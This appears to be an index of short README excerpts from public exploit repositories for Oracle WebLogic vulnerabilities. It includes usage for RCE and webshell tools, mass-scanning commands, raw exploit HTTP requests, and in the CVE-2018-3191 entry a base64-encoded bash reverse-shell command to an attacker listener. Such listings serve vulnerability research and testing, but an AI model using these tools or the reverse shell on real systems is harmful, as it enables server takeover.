Weblogic

weblogic CVE-2019-2725 CVE-2019-2729 POC Execute command and get output usage: Single target python3 weblogicgetwebshell.py http://url Batch targets, put batch URLs into urllist.txt python3 weblogicgetwebshell.py all...

CVE-2018-2628

CVE-2018-2628 CVE-2018-2628 Vulnerability Toolkit Vulnerability exploit tools compiled from Github include: 1.CVE-2018-2628 Vulnerability Detection Tool // POC for vulnerability existence detection 2.weblogicpoc.py // POC for exploit 3.ysoserial-0.1-cve-2018-2628-all.jar // Reference exploit tool...

CVE-2020-2551

Twitter: @Hktalent3135773 0、how get pro exploit tools? see https://github.com/hktalent/CVE-2020-2551/issues/5 1、CVE-2020-2551 CVE-2020-2551 poc exploit python example keys: GIOP corba How use python3 CVE-2020-2551.py -u http://192.168.26.79:7001 cat urls.txt|sort -u|xargs -I % python3...

SSRFX

CVE-2014-4210+Redis Unauthorized Access Installation pip install -r requirements.txt Usage usage: SSRFX.py -h --url URL --threads THREADS --app APP --network NETWORK --type TYPE --vulapp VULAPP --lhost LHOST --lport LPORT --rhost RHOST --rport RPORT SSRF Explotion Tools optional arguments: -h,...

CVE-2017-10271

CVE-2017-10271 identification and exploitation. Unauthenticated Weblogic RCE. https://nvd.nist.gov/vuln/detail/CVE-2017-10271 https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: SOMEHOSTHERE Content-Length: 1226 content-type...

CVE-2020-14756

CVE-2020-14756 WebLogic T3/IIOP RCE ExternalizableHelper.class of coherence.jar README project base on https://github.com/Y4er/CVE-2020-2555 and weblogiccmd test on 12.2.1.4.0 and jdk 1.8.0221 Reference 1. https://y4er.com/post/weblogic-cve-2020-14756/ 2...

CVE-2019-2615

CVE-2019-2615 GET /beawlsmanagementinternal2/wlmanagement HTTP/1.1 Host: 192.168.5.137:7001 User-Agent: Mozilla/5.0 Windows NT 6.1; Win64; x64; rv:66.0 Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/ ;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encodin...

CVE-2020-14883

CVE-2020-14883 Oracle WebLogic Server Authenticated Remote Code Execution RCE Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Console. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily...

CVE_2020_2546

Twitter: @Hktalent3135773 1、Weblogic RCE exploit CVE20202546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3 2、exploit GIOP + send bind CVE-2020-2555、CVE-2019-2888、CVE-2019-2888 or others GIOP + send jta rmi or others...

CVE-2024-20931

CVE-2024-20931 CVE-2024-20931, this is the bypass of the patch of CVE-2023-21839 Oracle Weblogic Usage: Setup JNDI, the specific one from https://github.com/WhiteHSBG/JNDIExploit/ Exploit: java -jar CVE-2024-20931.jar Please input target IP:127.0.0.1 Please input target port:7001 Please input RMI...

JavaUnserializeExploits

JavaUnserializeExploits Python scripts and HTTP request referenced in the blog post What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability at http://foxglovesecurity.com...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 Reverse Shell Local IP: 172.16.38.1 WebLogic: 172.16.38.174:7001 1. Execute locally java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' Then...

CVE-2017-10271

CVE-2017-10271 Usage: CVE-2017-12149.py http://targetip:port/ WEBLOGIC RCE Work with windows only, you could edit code a bit for linux...

CVE-2020-2551

CVE-2020-2551 Weblogic IIOP Deserialization Test Environment Weblogic10.3.6+jdk1.6 Packaged jar file Extraction code: a6ob Exploit Download the jar package, then use marshalsec to start a malicious RMI service, compile a local exp.java package payload; import java.io.IOException; public class exp...

CVE-2018-3252

CVE-2018-3252-PoC 1.Generate PoC with YSOSERIAL 2.You should know the USERNAME and PASSWORD of the target weblogic server 3.Send the payload to the URL POST /beawlsdeploymentinternal/DeploymentService HTTP/1.1 Host: 127.0.0.1:7001 Accept:...

ysoserial-cve-2018-2628

ysoserial-cve-2018-2628 0x1. Preparation Prepare the software environment required for POC script, Payload Object generation, and JRMPListener execution Python 2.7.x Oracle Java SE 1.7+ Prepare a WebLogic Server 10.3.6 environment with Patch Set Update 180417 installed AdminServer only is...

westone-CVE-2020-14883-scanner

westone-CVE-2020-14883-scanner A remote attacker can construct a special HTTP request to take over the WebLogic Server Console without authentication. Installation & Usage git clone https://github.com/Osyanina/westone-CVE-2020-14883-scanner.git cd westone-CVE-2020-14883-scanner cmd...

CNVD-C-2019-48814-CNNVD-201904-961

CNVD-C-2019-48814和CNNVD-201904-961 Thanks to t00ls-ximcx0101 for providing the script CNVD-C-2019-48814 POC Summary Related links: Qingshui Chuanqi's Jianshu article: https://www.jianshu.com/p/c4982a845f55 Reposted by Security Ancestor: https://dwz.cn/2GQvbUae Due to environment factors, paths ma...

CVE-2018-2628

CVE-2018-2628 WebLogic Deserialization Vulnerability Reproduction weblogic getshell python CVE-2018-2628-Getshell.py ip port shell1.jsp C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || | | / / | | | |...

CVE-2019-2725

POC-EXP This script targets the CVE-2019-2725 WebLogic deserialization RCE vulnerability. Before use, please modify the VPS listening address, and submit the specified URL at runtime to complete the test. The test address is: http://192.168.209.134:49163/async/AsyncResponseService After modifying...